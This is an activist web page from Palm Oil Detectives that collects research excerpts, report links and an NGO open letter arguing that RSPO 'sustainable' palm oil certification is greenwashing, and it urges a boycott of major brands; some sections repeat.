- Li, T. M., & Semedi, P. (2021). Plantation life: Corporate occupation in Indonesia’s oil palm zone. Duke University Press. https://www.dukeupress.edu/plantation-life
- Liu, F. H. M., Ganesan, V., & Smith, T. E. L. (2020). Contrasting communications of sustainability science in the media coverage of palm oil agriculture on tropical peatlands in Indonesia, Malaysia, and Singapore. Environmental Science & Policy, 114. https://www.researchgate.net/publication/343772443_Contrasting_communications_of_sustainability_science_in_the_media_coverage_of_palm_oil_agriculture_on_tropical_peatlands_in_Indonesia_Malaysia_and_Singapore
- Meemken, E. M., Barrett, C. B., Michelson, H. C., et al. (2021). Sustainability standards in global agrifood supply chains. Nature Food. https://doi.org/10.1038/s43016-021-00299-2
- Miles, T. (2019). Study in WHO journal likens palm oil lobbying to tobacco and alcohol industries. Reuters. https://www.reuters.com/article/idUSKCN1P21ZR/
- Nygaard, A. (2023). Is sustainable certification’s ability to combat greenwashing trustworthy? Frontiers in Sustainability, 4, Article 1188069. https://doi.org/10.3389/frsus.2023.1188069
- Oppong-Tawiah D, Webster J. Corporate Sustainability Communication as ‘Fake News’: Firms’ Greenwashing on Twitter. Sustainability. 2023; 15(8):6683. https://www.mdpi.com/2071-1050/15/8/6683
- Pabon, J. (2024). The great greenwashing: How brands, governments, and influencers are lying to you. Anansi International. https://www.vitalsource.com/products/the-great-greenwashing-john-pabon-v9781487012878
- Podnar, K., & Golob, U. (2024). Brands and activism: Ecosystem and paradoxes. Journal of Brand Management, 31, 95–107. https://link.springer.com/article/10.1057/s41262-024-00355-y
- Rainforest Action Network. (2019). Fifteen environmental NGOs demand that sustainable palm oil watchdog does its job. RAN. https://www.ran.org/press-releases/fifteen-environmental-ngos-demand-that-sustainable-palm-oil-watchdog-does-its-job/
- Renner, A., Zellweger, C., & Skinner, B. (2021). ‘Is there such a thing as sustainable palm oil? Satellite images show protected rainforest on fire’. Neue Zürcher Zeitung. https://www.nzz.ch/english/palm-oil-boom-threatens-protected-rainforest-in-indonesia-ld.1625490
- Saager, E. S., Iwamura, T., Jucker, T., & Murray, K. A. (2023). Deforestation for oil palm increases microclimate suitability for the development of the disease vector Aedes albopictus. Scientific Reports, 13(1), 9514. https://www.nature.com/articles/s41598-023-35452-6
- Southey, F. (2021). What do Millennials think of palm oil? Nestlé investigates. Food Navigator. https://www.foodnavigator.com/Article/2021/08/12/What-do-Millennials-think-of-palm-oil-Nestle-investigates
- Transparency International. (2023). Transparency international report: Corruption and corporate capture in Indonesia’s top 50 palm oil companies. Transparency International. https://palmoildetectives.com/2023/05/14/transparency-international-report-corruption-and-corporate-capture-in-indonesias-top-50-palm-oil-companies/
- Truth in Advertising. (2022). Companies accused of greenwashing. https://truthinadvertising.org/articles/companies-accused-greenwashing/
- Truth in Advertising. (n.d.). How causewashing deceives consumers. https://truthinadvertising.org/resource/how-causewashing-deceives-consumers/
- Tybout, A. M., & Calkins, T. (Eds.). (2019). Kellogg on Branding in a Hyper-Connected World. Kellogg School of Management, Northwestern University. https://www.wiley.com/en-au/Kellogg+on+Branding+in+a+Hyper-Connected+World-p-9781119533184
- Wicke, J. (2019). Sustainable palm oil or certified dispossession? NGOs within scalar struggles over the RSPO private governance standard. Bioeconomy & Inequalities: Working Paper No. 8. https://www.bioinequalities.uni-jena.de/sozbemedia/WorkingPaper8.pdf
- World Health Organisation. (2019). The palm oil industry and noncommunicable diseases. World Health Organisation Bulletin, 97, 118-128. https://pubmed.ncbi.nlm.nih.gov/30728618/
- World Rainforest Movement. (2021, November 22). Why the RSPO facilitates land grabs for palm oil. https://wrm.org.uy/articles-from-the-wrm-bulletin/section1/why-the-rspo-facilitates-land-grabs-for-palm-oil/
- Zuckerman, J. (2021). The Time Has Come to Rein In the Global Scourge of Palm Oil. Yale Environment 360, Yale School of Environment. https://e360.yale.edu/features/the-time-has-come-to-rein-in-the-global-scourge-of-palm-oil
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Palm Oil Detectives is completely self-funded by its creator. All hosting and website fees and investigations into brands are self-funded by the creator of this online movement. If you like what I am doing, you and would like me to help meet costs, please send Palm Oil Detectives a thanks on Ko-Fi.
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#7 #advertising #BoycottPalmOil #Boycott4wildlife #BoycottPalmOil #brandBoycotts #branding #consumerRights #consumers #FightgreenwashingTweet #fire #greenwashing #OrangutanLandTrust #palmoil #RSPO #RSPOGreenwashing #sentinel2
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Research: Palm Oil Deforestation and its connection to RSPO members/supermarket brands
The RSPO is a global certification scheme for palm oil that certifies palm oil as ‘sustainable’. Yet this word means absolutely nothing, as RSPO members – the biggest supermarket brands in the world: (Unilever, Nestle, Colgate-Palmolive, L’Oreal, Avon, Mars, Mondelez, Cargill, Danone and more) continue with illegal indigenous landgrabbing, deforestation, human rights abuses, slavery and violence on their palm oil plantations.
This is why Palm Oil Detectives advocates for a full boycott on these global brands because of their palm oil corruption. Here is some collected peer-reviewed research, OSINT and investigative journalism about these issues.
Read #research from @EIA_News @Greenpeace @AP @NZZ @Global_Witness @crresearch @FOEInt @ECCHRBerlin how the @RSPOtweets is #greenwashing #ecocide #deforestation #extinction #illegal #landgrabbing Join the #Boycott4Wildlife on #palmoil
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Burning Questions – Environmental Investigation Agency (2021)
Dying for a Cookie – Greenpeace (2019)
Who Watches the Watchmen 2 – Environmental Investigation Agency (2019)
The RSPO: 14 Years of Failure – Friends of the Earth International (2014)
Destruction Certified – Greenpeace (2021)
Trading Risks ADM and Bunge – Global Witness (2021)
Keep the Forests Standing – Rainforest Action Network (2019)
License to Clear West Papua – Greenpeace 2021
FMCG’s Zero-Deforestation Challenges – Chain Reaction Research (2020)
Plantation Life Corporate Occupation in Indonesia’s Oil Palm Zone (2021)
Planet Palm – Jocelyn Zuckerman (2021)
Rethinking Dayak Identity – Dr Setia Budhi
Human Rights Fitness of the Auditing and Certification Industry – ECCHR (2021)
Is there such a thing as sustainable palm oil? – Neue Zürcher Zeitung (2021)
The True Price of Palm Oil – Global Witness (2021)
Research: Do certified sustainable palm oil plantations support more animal species?
Research: Does RSPO palm oil certification stop deforestation, human rights abuses, illegal land-grabbing and does it meet sustainability metrics?
The RSPO: 14 Years of Failure – An Open Letter from Friends of the Earth and 100 Human Rights NGOs (2014)
Which RSPO members continue to cause deforestation? – Mighty Earth (2021)
Which supermarket brands (RSPO members) cause deforestation, human rights abuses for palm oil? Palm Oil Detectives (2021)
Ecocide & Corruption Whistle-blowers on Twitter
Join the #Boycott4Wildlife
Say thanks by donating to my Ko-Fi
Investigative journalism, OSINT investigations into the RSPO and ‘sustainable’ palm oil
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Burning Questions – Credibility of sustainable palm oil still illusive – Environmental Investigation Agency (2021) Read report Dying for a cookie: How Mondelez’s Dirty Palm Oil is feeding the climate and extinction crisis by Greenpeace (2019) Read report Who Watches the Watchmen Part 2: The continuing incompetence of the RSPO’s assurance systems (2019) Read report The RSPO: 14 Years of Failure by Friends of the Earth International and Co-signed by 100 Indigenous and Human Rights Organisations (2014) Read report Destruction Certified by Greenpeace (2021) Read report Trading Risks ADM and Bunge and failing land and environmental rights defenders in Indonesia (2021) Read report Keep the Forests Standing: Exposing the brands driving deforestation – RAN (2020) Read report License to Clear Dark Side of Permitting in West Papua by Greenpeace (2021) Read report FMCG’s Zero-Deforestation Challenges and Growing Exposure to Reputational Risk. Chain Reaction Research (2020) Read report Plantation Life Corporate Occupation in Indonesia’s Oil Palm Zone (2021) Read report Planet Palm: How Palm Oil Ended Up In Everything and Endangered the World by Jocelyn Zuckerman (2021) Read report Rethinking Dayak Identity Dr Setia Budhi Read report Read report Adina Renner, Conradin Zellweger, Barnaby Skinner. ‘Is there such a thing as sustainable palm oil? Satellite images show protected rainforest on fire’. (May 2021) https://www.nzz.ch/english/palm-oil-boom-threatens-protected-rainforest-in-indonesia-ld.1625490 Read report The True Price of Palm Oil: How global finance and household brands are fuelling deforestation, violence and human rights abuses in Papua New Guinea Read ReportBack to top ↑
Research: Do certified sustainable palm oil plantations support more animal species?
Answer: NO
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Oil palm plantations support much fewer species than do forests and often also fewer than other tree crops. Further negative impacts include habitat fragmentation and pollution, including greenhouse gas emissions.
Emily B. Fitzherbert, Matthew J. Struebig, Alexandra Morel, Finn Danielsen, Carsten A. Brühl, Paul F. Donald, Ben Phalan, How will oil palm expansion affect biodiversity?,
Trends in Ecology & Evolution, Vol 23, 2008, https://doi.org/10.1016/j.tree.2008.06.012.Currently certified grower supply bases and concessions in Sumatra and Borneo are located in large mammal’s habitat and in areas that were biodiverse tropical forests less than 30 years ago. We suggest that certification schemes claim for the “sustainable” production of palm oil just because they neglect a very recent past of deforestation and habitat degradation.
Roberto Cazzolla Gatti, Alena Velichevskaya, Certified “sustainable” palm oil took the place of endangered Bornean and Sumatran large mammals habitat and tropical forests in the last 30 years, Science of The Total Environment, Vol 742, 2020,
https://doi.org/10.1016/j.scitotenv.2020.140712.We analyse consequences of the globally important land-use transformation from tropical forests to oil palm plantations. Species diversity, density and biomass of invertebrate communities suffer at least 45% decreases from rainforest to oil palm.
Barnes, A., Jochum, M., Mumme, S. et al. Consequences of tropical land use for multitrophic biodiversity and ecosystem functioning. Nat Commun 5, 5351 (2014). https://doi.org/10.1038/ncomms6351
We found that certified plantation concessions that are committed to deforestation-free production are limited in their ability to prevent further biodiversity loss, due to the past conversion of forest habitats to plantations. Concession holders can improve forest habitats through corridor development and other measures, which would mitigate, but not prevent, further biodiversity loss.
Hideyuki Kubo, Arief Darmawan, Hendarto, André Derek Mader,
The effect of agricultural certification schemes on biodiversity loss in the tropics,
Biological Conservation, Volume 261, 2021, https://doi.org/10.1016/j.biocon.2021.109243.Research: Does RSPO palm oil certification stop deforestation, human rights abuses, illegal land-grabbing and does it meet sustainability metrics?
Answer: NO
Ans
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https://twitter.com/earthsight/status/1192827396451438592?s=20&t=rnSAWHikl-a8C6GAd9n09g
February 2021
Read reportWe find positive effects on prices and income from sale of certified products. However, we find no change in overall household income and assets for workers. The wages for workers are not higher in certified production.
Oya, C., Schaefer, F. & Skalidou, D. The effectiveness of agricultural certification in developing countries: a systematic review. World Dev. 112, 282–312 (2018).
There was no significant difference was found between certified and non-certified plantations for any of the sustainability metrics investigated, however positive economic trends including greater fresh fruit bunch yields were revealed. To achieve intended outcomes, RSPO principles and criteria are in need of substantial improvement and rigorous enforcement.
Morgans, C. L. et al. Evaluating the effectiveness of palm oil certification in delivering multiple sustainability objectives. Environ. Res. Lett. 13, 064032, 2018.
This article argues that the form of sustainability offered by certification schemes such as the RSPO fetishes the commodity palm oil in order to assuage critical consumer initiatives in the North. This technical-managerial solution is part of a larger project: the “post-political” climate politics regime (Swyngedouw) that attempts to “green” the status quo.
Commodifying sustainability: Development, nature and politics in the palm oil industry (2019) World Development
Volume 121, September 2019, Pages 218-228- The palm oil industry is neither sustainable nor a viable development model.
- Certification represents a technical fix which neglects underlying dynamics of power, class, gender and accumulation.
- The fetishised commodity ‘certified sustainable palm oil’ has no impact on the regional scale of expansion.
- Working conditions in the plantations and mills entrench social inequality and poverty.
From: Commodifying sustainability: Development, nature and politics in the palm oil industry (2019) World Development
Volume 121, September 2019, Pages 218-228
Read report Deceased Estate: Illegal palm oil wiping out Indonesia’s national forest, Greenpeace Indonesia, Oct 2021“Both Roundtable on Sustainable Palm Oil (RSPO) and Indonesian Sustainable Palm Oil (ISPO) schemes are failing to ensure that palm oil is being produced and traded legally, let alone sustainably. They cannot be relied upon by overseas consumers concerned about their role in the global chain that leads to deforestation.”
Deceased Estate: Illegal palm oil wiping out Indonesia’s national forest, Greenpeace Indonesia, Oct 2021
No significant difference was found between certified and non-certified plantations for any of the sustainability metrics investigated, however positive economic trends including greater fresh fruit bunch yields were revealed. To achieve intended outcomes, RSPO principles and criteria are in need of substantial improvement and rigorous enforcement.
Evaluating the effectiveness of palm oil certification in delivering multiple sustainability objectives. (2018), Morgans, C. L. et al. Environ. Res. Lett. 13, 064032.
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RSPO: 14 years of failure to eliminate violence and destruction from the industrial palm oil sector
Friends of the Earth and 100 other human rights and environmental NGOS co-signed this letter in 2018
Read original letterLetter
During its 14 years of existence, RSPO – the Roundtable on Sustainable Palm Oil – has failed to live up to its claim of “transforming” the industrial palm oil production sector into a so-called “sustainable” one. In reality, the RSPO has been used by the palm oil industry to greenwash corporate destruction and human rights abuses, while it continues to expand business, forest destruction and profits.
RSPO presents itself to the public with the slogan “transforming the markets to make sustainable palm oil the norm”. Palm oil has become the cheapest vegetable oil available on the global market, making it a popular choice among the group that dominates RSPO membership, big palm oil buyers.
They will do everything to secure a steady flow of cheap palm oil. They also know that the key to the corporate success story of producing “cheap” palm oil is a particular model of industrial production, with ever-increasing efficiency and productivity which in turn is achieved by:
- Planting on a large-scale and in monoculture, frequently through conversion of tropical biodiverse forests
- Using “high yielding” seedlings that demand large amounts of agrotoxics and abundant water.
- Squeezing cheap labour out of the smallest possible work force, employed in precarious conditions so that company costs are cut to a minimum
- Making significant up-front money from the tropical timber extracted from concessions, which is then used to finance plantation development or increase corporate profits.
- Grabbing land violently from local communities or by means of other arrangements with governments (including favourable tax regimes) to access land at the lowest possible cost.
Those living on the fertile land that the corporations choose to apply their industrial palm oil production model, pay a very high price.
Violence is intrinsic to this model:
- violence and repression when communities resist the corporate take over of their land because they know that once their land is turned into monoculture oil palm plantations, their livelihoods will be destroyed, their land and forests invaded. In countless cases, deforestation caused by the expansion of this industry, has displaced communities or destroyed community livelihoods where
- companies violate customary rights and take control of community land;
- sexual violence and harassment against women in and around the plantations which often stays invisible because women find themselves without possibilities to demand that the perpetrators be prosecuted;
- Child labour and precarious working conditions that go hand-in-hand with violation of workers’ rights;
- working conditions can even be so bad as to amount to contemporary forms of slavery. This exploitative model of work grants companies more economic profits while allowing palm oil to remain a cheap product. That is why, neither them or their shareholders do anything to stop it.
- exposure of workers, entire communities and forests, rivers, water springs, agricultural land and soils to the excessive application of agrotoxics;
- depriving communities surrounded by industrial oil palm plantations of their food sovereignty when industrial oil palm plantations occupy land that communities need to grow food crops.
RSPO’s proclaimed vision of transforming the industrial oil palm sector is doomed to fail because the Roundtable’s certification principles promote this structural violent and destructive model.
The RSPO also fails to address the industry’s reliance on exclusive control of large and contingent areas of fertile land, as well as the industry’s growth paradigm which demands a continued expansion of corporate control over community land and violent land grabs.
None of RPSO’s eight certification principles suggests transforming this industry reliance on exclusive control over vast areas of land or the growth paradigm inherent to the model.
Industrial use of vegetable oils has doubled in the past 15 years, with palm oil being the cheapest. This massive increase of palm oil use in part explains the current expansion of industrial oil palm plantations, especially in Africa and Latin America, from the year 2000 onward, in addition to the existing vast plantations areas in Malaysia and Indonesia that also continue expanding.
On the ground, countless examples show that industrial oil palm plantations continue to be synonymous to violence and destruction for communities and forests. Communities’ experiences in the new industrial oil palm plantation frontiers, such as Gabon, Nigeria, Cameroon, Liberia, Sierra Leone, Peru, Honduras, Brazil, Colombia, Ecuador, are similar to past and ongoing community experiences in Indonesia and Malaysia.
RSPO creates a smokescreen that makes this violence invisible for consumers and financiers. Governments often fail to take regulatory action to stop the expansion of plantations and increasing demand of palm oil; they rely on RSPO to deliver an apparently sustainable flow of palm oil.
For example, in its public propaganda, RSPO claims it supports more than 100,000 small holders. But the profit from palm oil production is still disproportionally appropriated by the oil palm companies: in 2016, 88% of all certified palm oil came from corporate plantations and 99,6% of the production is corporate-controlled.
RSPO also claims that the principle of Free, Prior and Informed Consent (FPIC) is key among its own Principles and Criteria. The right to FPIC implies, among others, that if a community denies the establishment of this monoculture in its territory, operations cannot be carried out. Reality shows us, however, that despite this, many projects go ahead.
Concessions are often guaranteed long before the company reaches out to the affected communities. Under these circumstances, to say that FPIC is central to RSPO is bluntly false and disrespectful.
RSPO also argues that where conflicts with the plantation companies arise, communities can always use its complaint mechanism. However, the mechanism is complex and it rarely solves the problems that communities face and want to resolve.
This becomes particularly apparent in relation to land legacy conflicts where the mechanism is biased against communities. It allows companies to continue exploiting community land until courts have come to a decision. This approach encourages companies to sit out such conflicts and count on court proceedings dragging on, often over decades.
Another argument used by RSPO is that industrial oil palm plantations have lifted millions of people out of poverty. That claim is certainly questionable, even more so considering that there is also an important number of people who have been displaced over the past decades to make space for plantations.
Indigenous communities have in fact lost their fertile land, forests and rivers to oil palm plantations, adversely affecting their food, culture and local economies.
The RSPO promise of “transformation” has turned into a powerful greenwashing tool for corporations in the palm oil industry. RSPO grants this industry, which remains responsible for violent land grabbing, environmental destruction, pollution through excessive use of agrotoxics and destruction of peasant and indigenous livelihoods, a “sustainable” image.
What’s more, RSPO membership seems to suffice for investors and companies to be able to claim that they are “responsible” actors. This greenwash is particularly stunning, since being a member does not guarantee much change on the ground. Only recently, a company became RSPO member after it was found to deforest over 27.000 hectares of rainforest in Papua, Indonesia.
Certification is structurally dependent on the very same policies and regulation that have given rise to the host of environmental devastation and community land rights violations associated with oil palm plantations. These systemic governance issues are part of the destructive economic model, and embedded in state power.
For this reason, voluntary certification schemes cannot provide adequate protection for forests, community rights, food sovereignty and guarantee sustainability. Governments and financiers need to take responsibility to stop the destructive palm oil expansion that violates the rights of local communities and Indigenous Peoples.
As immediate steps, governments need to:
- Put in place a moratorium on palm oil plantations expansion and use that as a breathing space to fix the policy frameworks;
- Drastically reduce demand for palm oil: stop using food for fuel;
- Strengthen and respect the rights of local communities and Indigenous Peoples to amongst others, self-determination and territorial control.
- Promote agro-ecology and community control of their forests, which strengthens local incomes, livelihoods and food sovereignty, instead of advancing industrial agro-businesses.
Signatures
- Aalamaram-NGOAcción Ecológica, Ecuador
- ActionAid, France
- AGAPAN
Amics arbres - Arbres amics
- Amis de la Terre France
- ARAARBA (Asociación para la Recuperación del Bosque Autóctono)
- Asociación Conservacionista YISKI, Costa Rica
Asociación Gaia El Salvador - Association Congo Actif, Paris
- Association Les Gens du Partage, Carrières-sous-Poissy
- Association pour le développement des aires protégées, Swizterland
- BASE IS
- Bézu St Eloi
- Boxberg OT Uhyst
- Bread for all
- Bruno Manser Fund
- CADDECAE, Ecuador
- Campaign to STOP GE Trees
- CAP, Center for Advocacy Practices
- Centar za životnu sredinu/ Friends of the Earth Bosnia and Herzegovina
- CESTA – FOE El Salvador
- CETRI – Centre tricontinental
- Climate Change Kenya
- Coalición de Tendencia Clasista. (CTC-VZLA)
- Colectivo de Investigación y Acompañmiento Comunitario
- Collectif pour la défense des terres malgaches – TANY, Madagascar
- Community Forest Watch, Nigeria
- Consumers Association of Penang
- Corporate Europe Observatory
- Cuttington University
- Down to Earth Consult
- El Campello
- Environmental Resources Management and Social Issue Centre (ERMSIC) Cameroon
- Environmental Rights Action/Friends of the Earth Nigeria
- FASE ES , Brazil
- Fédération romande des consommateurs
- FENEV, (Femmes Environnement nature Entrepreneuriat Vert).
- Focus on the Global South
- Forum Ökologie & Papier, Germany
- Friends of the Earth Ghana
- Friends of the Earth International
- GE Free NZ, New Zealand
- Global Alliance against REDD
- Global Justice Ecology Project
- Global Info
- Gobierno Territorial Autónomo de la Nación Wampís , Peru
- GRAIN
- Green Development Advocates (GDA)
- CameroonGreystones, Ireland
- Groupe International de Travail pour les Peuples Autochtones
Grupo ETC - Grupo Guayubira, Uruguay
- Instituto Mexicano de Gobernanza Medioambiental AC Instituto Mexicano de Gobernanza Medioambiental AC
- Integrated Program for the Development of the Pygmy People (PIDP), DRC
- Justica Ambiental
- Justicia Paz e Integridad de la Creacion. Costa Rica
- Kempityari
- Latin Ambiente, http://www.latinambiente.org
- Les gens du partage
- LOYOLA SCHOOL OF THEOLOGY, MANILA
- Maderas del Pueblo del Sureste, AC
- Maiouri nature, Guyane
- Mangrove Action Project
- Milieudefensie – Friends of the Earth Netherlands
- Movimento Amigos da Rua Gonçalo de Carvalho
- Muyissi Environnement, Gabon
- Nature-d-congo de la République du Congo
- New Wind Association from Finland
- NOAH-Friends of the Earth Denmark
- Oakland Institute
- OFRANEH, Honduras
- Ole Siosiomaga Society Incorporated (OLSSI)
- ONG OCEAN : Organisation Congolaise des Ecologistes et Amis de la Nature et sommes basés en RD Congo.
- OPIROMA, Brazil
- Otros Mundos A.C./Amigos de la Tierra México
- Paramo Guerrrero Zipaquira
- PROYECTO GRAN SIMIO (GAP/PGS-España)
- Quercus – ANCN, Portugal
- Radd (Reseau des Acteurs du Développement Durable) , Cameroon
- Rainforest Foundation UK
- Rainforest Relief
- ReAct – Alliances Transnationales
- RECOMA – Red latinoamericana contra los monocultivos de árboles
- Red de Coordinacion en Biodiversidad , Çosta Rica
- REFEB-Cote d’Ivoire
- Rettet den Regenwald, Germany
- ROBIN WOOD
- Sahabat Alam Malaysia (Friends of the Earth Malaysia)
- Salva la Selva
- School of Democratic Economics, Indonesia
- Serendipalm Company Limited
- Sherpa , The Netherlands
- SYNAPARCAM, Cameroon
- The Corner House, UK
Towards Equitable Sustainable Holistic Development - TRAFFED KIVU ,RD. CONGOUNIÓN UNIVERSAL DESARROLLO SOLIDARIO
University of Sussex, UK - UTB ColombiaWatch Indonesia!
- WESSA
World Rainforest Movement - Youth Volunteers for the Environment Ghana
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Which RSPO members continue to cause deforestation?
Have a look at these quarterly and at-a-glance reports by Mighty Earth, they show the RSPO members (palm oil manfacturers, traders, processors and retail brands) at the centre of deforestation. Click on image to go to most recent report. This information below is a stark contrast to the greenwashing WWF Palm Oil Scorecard, which allocates many of these same brands with a ‘green’ and ‘sustainable’ label and encourages people to buy from them! We call out this form of greenwashing and #Boycottpalmoil #Boycott4Wildlife!
View the Palm Oil Tracker View the latest Rapid Response ReportBack to top ↑
Retailers and banks at the heart of palm oil deforestation
Source: Rainforest Action Network (RAN)’s March 2020 Whitepaper
The True Cost of Palm Oil & Wood Pulp (2019)
https://palmoildetectives.com/wp-content/uploads/2021/02/greenpeace-palm-oil-and-wood-pulp-2019.pdf
Read reportHow Unilever and other global brands continue to fuel Indonesia’s fires (2019)
https://palmoildetectives.com/wp-content/uploads/2021/02/mondelez-nestle-p-and-g-unilever-bad.pdf
Read reportLoopholes in the palm oil supply chain allow RSPO members to continue to destroy forests with fire July 2020
https://www.youtube.com/watch?v=HlXmWWql6AM
Retailers and FMCG Giants do not take deforestation seriously enough to warrant change (2020)
https://www.youtube.com/watch?v=b2_uu4EOyqQ
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Which brands cause deforestation, human rights abuses for palm oil?
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Boycott Palm OilLearn how to boycott palm oil this Halloween in America, the UK and Australia
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Ecocide & Corruption Whistle-blowers on Twitter
With so much misinformation, greenwashing and BS out there. It is difficult to know who is telling the truth.
Here’s a list of NGOS, individuals and media outlets you can trust for clear information that exposes the corruption going on around so-called ‘sustainable’ palm oil, deforestation and many other issues.
Also these media outlets, individuals and NGOs regularly cover other topics like deforestation for soy, meat, gold, timber, cocoa, coffee and other commodities. They also expose corruption, abuse, violence and death of indigenous people, land grabs etc and how this links to global companies.
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There are now literally thousands of people who are a passionate supporters and activists in the #Boycott4Wildlife – This list is not ignoring these people, you are all amazing people and the contribution you are making is very important!. However this list here focuses on people or NGOs who publish and produce news, research, books, photojournalism, podcasts or TV documentaries. So that everyone else knows who to listen to in the gigantic social media cacophony.
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Use your wallet as a weapon and boycott the brands destroying rainforests for palm oil! It’s the #Boycott4Wildlife
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Palm Oil Detectives is 100% self-funded
Palm Oil Detectives is completely self-funded by its creator. All hosting and website fees and investigations into brands are self-funded by the creator of this online movement. If you like what I am doing, you and would like me to help meet costs, please send Palm Oil Detectives a thanks on Ko-Fi.
Say thanks on Ko-FiBack to top ↑
#auditFraud #Boycott4wildlife #BoycottPalmOil #brandMarketing #consumerBoycott #consumerRights #deforestation #ecocide #extinction #fraud #greenwashing #illegal #landRights #landgrabbing #palmoilTweet #research #RSPO #RSPOGreenwashing #slavery #violence #wildlife #wildlifeActivism
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Research: Palm Oil Deforestation and its connection to RSPO members/supermarket brands
The RSPO is a global certification scheme for palm oil that certifies palm oil as ‘sustainable’. Yet this word means absolutely nothing, as RSPO members – the biggest supermarket brands in the world: (Unilever, Nestle, Colgate-Palmolive, L’Oreal, Avon, Mars, Mondelez, Cargill, Danone and more) continue with illegal indigenous landgrabbing, deforestation, human rights abuses, slavery and violence on their palm oil plantations.
This is why Palm Oil Detectives advocates for a full boycott on these global brands because of their palm oil corruption. Here is some collected peer-reviewed research, OSINT and investigative journalism about these issues.
Read #research from @EIA_News @Greenpeace @AP @NZZ @Global_Witness @crresearch @FOEInt @ECCHRBerlin how the @RSPOtweets is #greenwashing #ecocide #deforestation #extinction #illegal #landgrabbing Join the #Boycott4Wildlife on #palmoil
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Burning Questions – Environmental Investigation Agency (2021)
Dying for a Cookie – Greenpeace (2019)
Who Watches the Watchmen 2 – Environmental Investigation Agency (2019)
The RSPO: 14 Years of Failure – Friends of the Earth International (2014)
Destruction Certified – Greenpeace (2021)
Trading Risks ADM and Bunge – Global Witness (2021)
Keep the Forests Standing – Rainforest Action Network (2019)
License to Clear West Papua – Greenpeace 2021
FMCG’s Zero-Deforestation Challenges – Chain Reaction Research (2020)
Plantation Life Corporate Occupation in Indonesia’s Oil Palm Zone (2021)
Planet Palm – Jocelyn Zuckerman (2021)
Rethinking Dayak Identity – Dr Setia Budhi
Human Rights Fitness of the Auditing and Certification Industry – ECCHR (2021)
Is there such a thing as sustainable palm oil? – Neue Zürcher Zeitung (2021)
The True Price of Palm Oil – Global Witness (2021)
Research: Do certified sustainable palm oil plantations support more animal species?
Research: Does RSPO palm oil certification stop deforestation, human rights abuses, illegal land-grabbing and does it meet sustainability metrics?
The RSPO: 14 Years of Failure – An Open Letter from Friends of the Earth and 100 Human Rights NGOs (2014)
Which RSPO members continue to cause deforestation? – Mighty Earth (2021)
Which supermarket brands (RSPO members) cause deforestation, human rights abuses for palm oil? Palm Oil Detectives (2021)
Ecocide & Corruption Whistle-blowers on Twitter
Join the #Boycott4Wildlife
Say thanks by donating to my Ko-Fi
Investigative journalism, OSINT investigations into the RSPO and ‘sustainable’ palm oil
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Burning Questions – Credibility of sustainable palm oil still illusive – Environmental Investigation Agency (2021) Read report Dying for a cookie: How Mondelez’s Dirty Palm Oil is feeding the climate and extinction crisis by Greenpeace (2019) Read report Who Watches the Watchmen Part 2: The continuing incompetence of the RSPO’s assurance systems (2019) Read report The RSPO: 14 Years of Failure by Friends of the Earth International and Co-signed by 100 Indigenous and Human Rights Organisations (2014) Read report Destruction Certified by Greenpeace (2021) Read report Trading Risks ADM and Bunge and failing land and environmental rights defenders in Indonesia (2021) Read report Keep the Forests Standing: Exposing the brands driving deforestation – RAN (2020) Read report License to Clear Dark Side of Permitting in West Papua by Greenpeace (2021) Read report FMCG’s Zero-Deforestation Challenges and Growing Exposure to Reputational Risk. Chain Reaction Research (2020) Read report Plantation Life Corporate Occupation in Indonesia’s Oil Palm Zone (2021) Read report Planet Palm: How Palm Oil Ended Up In Everything and Endangered the World by Jocelyn Zuckerman (2021) Read report Rethinking Dayak Identity Dr Setia Budhi Read report Read report Adina Renner, Conradin Zellweger, Barnaby Skinner. ‘Is there such a thing as sustainable palm oil? Satellite images show protected rainforest on fire’. (May 2021) https://www.nzz.ch/english/palm-oil-boom-threatens-protected-rainforest-in-indonesia-ld.1625490 Read report The True Price of Palm Oil: How global finance and household brands are fuelling deforestation, violence and human rights abuses in Papua New Guinea Read ReportBack to top ↑
Research: Do certified sustainable palm oil plantations support more animal species?
Answer: NO
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Oil palm plantations support much fewer species than do forests and often also fewer than other tree crops. Further negative impacts include habitat fragmentation and pollution, including greenhouse gas emissions.
Emily B. Fitzherbert, Matthew J. Struebig, Alexandra Morel, Finn Danielsen, Carsten A. Brühl, Paul F. Donald, Ben Phalan, How will oil palm expansion affect biodiversity?,
Trends in Ecology & Evolution, Vol 23, 2008, https://doi.org/10.1016/j.tree.2008.06.012.Currently certified grower supply bases and concessions in Sumatra and Borneo are located in large mammal’s habitat and in areas that were biodiverse tropical forests less than 30 years ago. We suggest that certification schemes claim for the “sustainable” production of palm oil just because they neglect a very recent past of deforestation and habitat degradation.
Roberto Cazzolla Gatti, Alena Velichevskaya, Certified “sustainable” palm oil took the place of endangered Bornean and Sumatran large mammals habitat and tropical forests in the last 30 years, Science of The Total Environment, Vol 742, 2020,
https://doi.org/10.1016/j.scitotenv.2020.140712.We analyse consequences of the globally important land-use transformation from tropical forests to oil palm plantations. Species diversity, density and biomass of invertebrate communities suffer at least 45% decreases from rainforest to oil palm.
Barnes, A., Jochum, M., Mumme, S. et al. Consequences of tropical land use for multitrophic biodiversity and ecosystem functioning. Nat Commun 5, 5351 (2014). https://doi.org/10.1038/ncomms6351
We found that certified plantation concessions that are committed to deforestation-free production are limited in their ability to prevent further biodiversity loss, due to the past conversion of forest habitats to plantations. Concession holders can improve forest habitats through corridor development and other measures, which would mitigate, but not prevent, further biodiversity loss.
Hideyuki Kubo, Arief Darmawan, Hendarto, André Derek Mader,
The effect of agricultural certification schemes on biodiversity loss in the tropics,
Biological Conservation, Volume 261, 2021, https://doi.org/10.1016/j.biocon.2021.109243.Research: Does RSPO palm oil certification stop deforestation, human rights abuses, illegal land-grabbing and does it meet sustainability metrics?
Answer: NO
Ans
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https://twitter.com/earthsight/status/1192827396451438592?s=20&t=rnSAWHikl-a8C6GAd9n09g
February 2021
Read reportWe find positive effects on prices and income from sale of certified products. However, we find no change in overall household income and assets for workers. The wages for workers are not higher in certified production.
Oya, C., Schaefer, F. & Skalidou, D. The effectiveness of agricultural certification in developing countries: a systematic review. World Dev. 112, 282–312 (2018).
There was no significant difference was found between certified and non-certified plantations for any of the sustainability metrics investigated, however positive economic trends including greater fresh fruit bunch yields were revealed. To achieve intended outcomes, RSPO principles and criteria are in need of substantial improvement and rigorous enforcement.
Morgans, C. L. et al. Evaluating the effectiveness of palm oil certification in delivering multiple sustainability objectives. Environ. Res. Lett. 13, 064032, 2018.
This article argues that the form of sustainability offered by certification schemes such as the RSPO fetishes the commodity palm oil in order to assuage critical consumer initiatives in the North. This technical-managerial solution is part of a larger project: the “post-political” climate politics regime (Swyngedouw) that attempts to “green” the status quo.
